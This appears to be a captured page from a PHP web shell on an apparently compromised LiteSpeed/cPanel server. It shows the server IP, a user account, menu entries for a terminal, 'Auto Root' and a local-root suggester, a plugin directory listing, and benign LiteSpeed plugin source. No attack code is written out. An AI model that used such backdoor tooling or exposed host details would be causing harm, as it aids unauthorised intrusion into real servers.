Linux yavrix.internet-webhosting.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 103.8.25.136 & Your IP : 216.73.217.123
Domains :
Cant Read [ /etc/named.conf ]
User : celfico1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
lsws /
add-ons /
cpanel /
lsws_whm_plugin /
Delete
Unzip
Name
Size
Permission
Date
Action
View
[ DIR ]
drwxr-xr-x
2020-06-13 03:40
bin
[ DIR ]
drwxr-xr-x
2020-06-13 03:40
res
[ DIR ]
drwxr-xr-x
2020-06-13 03:40
static
[ DIR ]
drwxr-xr-x
2020-06-13 03:40
WhmMod_LiteSpeed_BuildPHP.php
7.46
KB
-rw-r--r--
2020-06-13 03:40
WhmMod_LiteSpeed_CPanelConf.php
12.58
KB
-rw-r--r--
2021-03-31 04:36
WhmMod_LiteSpeed_ControlApp.php
38.44
KB
-rw-r--r--
2021-03-31 04:36
WhmMod_LiteSpeed_Util.php
43.12
KB
-rw-r--r--
2021-03-31 04:36
WhmMod_LiteSpeed_View.php
59.53
KB
-rw-r--r--
2021-03-31 04:36
WhmPluginException.php
657
B
-rw-r--r--
2021-03-31 04:36
WhmPluginLogEntry.php
1.99
KB
-rw-r--r--
2021-03-31 04:36
WhmPluginLogger.php
16.3
KB
-rw-r--r--
2021-03-31 04:36
addon_lsws.cgi
565
B
-rw-r--r--
2021-03-31 04:36
autoloader.php
796
B
-rw-r--r--
2021-03-31 04:36
buildtimezone.sh
11.63
KB
-rwxr-xr-x
2021-03-31 04:36
buildtimezone_ea4.sh
4.18
KB
-rwxr-xr-x
2021-03-31 04:36
cPanelInstall.sh
3.94
KB
-rwxr-xr-x
2021-03-31 04:36
cmd_buildmatchingphp.php
2.24
KB
-rw-r--r--
2020-06-13 03:40
cmd_buildmatchingphp.sh
210
B
-rwxr-xr-x
2020-06-13 03:40
index.php
1.73
KB
-rw-r--r--
2021-03-31 04:36
install_lsws_cp.sh
4.09
KB
-rwxr-xr-x
2021-03-31 04:36
lsws.cgi
995
B
-rw-r--r--
2021-03-31 04:36
lsws.conf
222
B
-rw-r--r--
2021-03-31 04:36
lsws.html.tt
1.39
KB
-rw-r--r--
2021-03-31 04:36
lsws_icon.png
1.56
KB
-rwxr-xr-x
2021-03-31 04:36
lsws_whm_plugin_install.sh
12.32
KB
-rwxr-xr-x
2026-02-09 02:03
lsws_whm_plugin_uninstall.sh
1.8
KB
-rwxr-xr-x
2021-03-31 04:36
migrate_ea3_to_ea4_litespeed.sh
8.31
KB
-rwxr-xr-x
2020-06-13 03:40
migrate_ea4_to_ea3_litespeed.sh
2.56
KB
-rwxr-xr-x
2020-06-13 03:40
php.ini
61
B
-rw-r--r--
2021-03-31 04:36
php_build.template
8.18
KB
-rwxr-xr-x
2020-06-13 03:40
webcachemgrBootstrap.php
618
B
-rw-r--r--
2021-03-31 04:36
Save
Rename
<?php /******************************************** * LiteSpeed Web Server Plugin for WHM * * @author LiteSpeed Technologies, Inc. (https://www.litespeedtech.com) * @copyright (c) 2013-2017 *********************************************/ namespace LsPanel; class WhmMod_LiteSpeed_BuildPHP { const WGET_TEMP = '/usr/src/lsws'; const PHP_AP_LOC = '/usr/local/bin/php'; private function get_php_config( $php_binary ) { putenv("ACCEPT_ENCODING"); putenv("HTTP_ACCEPT_ENCODING"); putenv("SCRIPT_FILENAME"); putenv("REDIRECT_STATUS"); putenv("SERVER_SOFTWARE"); putenv("SERVER_NAME"); putenv("GATEWAY_INTERFACE"); putenv("REQUEST_METHOD"); $extract_values = array(); exec("{$php_binary} -c ./php.ini -i", $output, $returns); if ( $returns > 10 ) { $extract_values['error'] = "ERROR: {$php_binary} -i returns {$returns} <br>" . implode('<br>', $output); return $extract_values; } foreach ( $output as $line ) { //PHP Version 4.4.7 //<tr><td class="e">Configure Command </td><td class="v"> './configure' </td></tr> //PHP Version => 4.4.8 //Configure Command => './configure' '--enable-bcmath' '--enable-calendar' '--enable-ftp' '--enable-gd if ( preg_match("/PHP Version [^\d]*([\d.]+)/", $line, $matches) ) { $extract_values['PHP_VERSION'] = $matches[1]; } if ( strpos($line, 'Configure Command') !== FALSE ) { # echo "\n\nA: $line\n"; // before 4.4.8 trim($line); $line = str_replace(''', "'", $line); $start_pos = strpos($line, "./configure"); if ( $start_pos === FALSE ) { // should not happen $extract_values['error'] = 'Cannot find configure options!'; return $extract_values; } if ( $line[$start_pos - 1] == "'" ) { //including the quote --$start_pos; } $line = substr($line, $start_pos); if ( ($end_pos = strpos($line, '</td>')) !== FALSE ) { $line = substr($line, 0, $end_pos); } // remove unused params: '--with-apxs2=/usr/local/apache/bin/apxs' $pattern_unused = '/\'?--with-apxs[^ \']+\'? ?/'; $line = preg_replace($pattern_unused, '', $line); $pattern_unused = '/\'?--enable-fastcgi\'? ?/'; $line = preg_replace($pattern_unused, '', $line); if ( strpos($line, '--with-litespeed') === FALSE ) { //find last param, see if there's missing quote $line = trim($line); if ( substr($line, -1) != "'" ) { $pos0 = strrpos($line, '--'); if ( $pos0 > 1 && (substr($line, $pos0 - 1, 1) == "'") ) { $line .= "'"; } } $line .= " '--with-litespeed'"; } $extract_values['PHP_CONF_OPTIONS'] = $line; return $extract_values; } } $extract_values['error'] = 'Cannot find configuration options!'; if ( count($output) < 10 ) { $extract_values['error'] .= "ERROR: {$php_binary} -i returns {$returns} <br>" . implode('<br>',$output); } return $extract_values; } public function GenerateBuildScript( $base_php_binary ) { $result = array(); //get env $php_options = $this->get_php_config($base_php_binary); if ( isset($php_options['error']) ) { $result['error'] = $php_options['error']; return $result; } $php_options['LSWS_HOME'] = LSWS_HOME; if ( !file_exists(self::WGET_TEMP) && !mkdir(self::WGET_TEMP, 0700, true) ) { $result['error'] = 'Cannot create temp build directory ' . self::WGET_TEMP; return $result; } //generate shell script $template = './php_build.template'; $sh_template = file_get_contents($template); if ( $sh_template === false ) { $result['error'] = "failed to read file: {$template}"; return $result; } $search = array( '{PHP_VERSION}', '{PHP_CONF_OPTIONS}', '{LSWS_HOME}' ); $replace = array( $php_options['PHP_VERSION'], $php_options['PHP_CONF_OPTIONS'], $php_options['LSWS_HOME'] ); $sh_script = str_replace($search, $replace, $sh_template); $file_name = self::WGET_TEMP . "/build_lsphp_{$php_options['PHP_VERSION']}.sh"; if ( file_put_contents($file_name, $sh_script) === FALSE ) { $result['error'] = "Failed to create build script: {$file_name}"; return $result; } if ( chmod($file_name, 0700) == FALSE ) { $result['error'] = "Failed to chmod for {$file_name}"; return $result; } $result['file'] = $file_name; return $result; } function PrecheckPHPVersion( $PHP_BINARY_LOC ) { // return 0: same, 1 different; 2 error stop; $result = array( 'msg' => '', 'next' => 1 ); $apache_php = $this->get_php_config($PHP_BINARY_LOC); if ( isset($apache_php['error']) ) { $result['msg'] .= $apache_php['error']; $result['next'] = 2; return $result; } $result['msg'] .= "Found Apache PHP binary at {$PHP_BINARY_LOC}. " . "Version is {$apache_php['PHP_VERSION']} \n"; $main_version = $apache_php['PHP_VERSION'][0]; $lsphp_binary = LSWS_HOME . "/fcgi-bin/lsphp{$main_version}"; if ( !file_exists($lsphp_binary) ) { $result['msg'] .= "{$lsphp_binary} does not exist! \n"; return $result; } $ls_php = $this->get_php_config($lsphp_binary); if ( isset($ls_php['error']) ) { $result['msg'] .= "{$lsphp_binary} exists, but not runnable: {$ls_php['error']} \n"; return $result; } $result['msg'] .= "Found LiteSpeed PHP binary at {$lsphp_binary}. " . "Version is {$ls_php['PHP_VERSION']} \n"; if ( $apache_php['PHP_VERSION'] != $ls_php['PHP_VERSION'] ) { $result['msg'] .= "PHP binary has different version! \n"; return $result; } //compare conf $apache_options = preg_split("/[' ]/", $apache_php['PHP_CONF_OPTIONS'], -1, PREG_SPLIT_NO_EMPTY); $ls_options = preg_split("/[' ]/", $ls_php['PHP_CONF_OPTIONS'], -1, PREG_SPLIT_NO_EMPTY); $conf_diff = ''; foreach ( $apache_options as $ai ) { if ( !in_array($ai, $ls_options) ) { $conf_diff .= " $ai"; } } if ( $conf_diff == '' ) { $result['msg'] .= "Configuration options for lsphp and Apache PHP are matched.\n"; $result['next'] = 0; // same, no action needed. } else { $result['msg'] .= "Apache PHP configuration has more options that are not available or " . "different in lsphp: {$conf_diff} \n"; } return $result; } }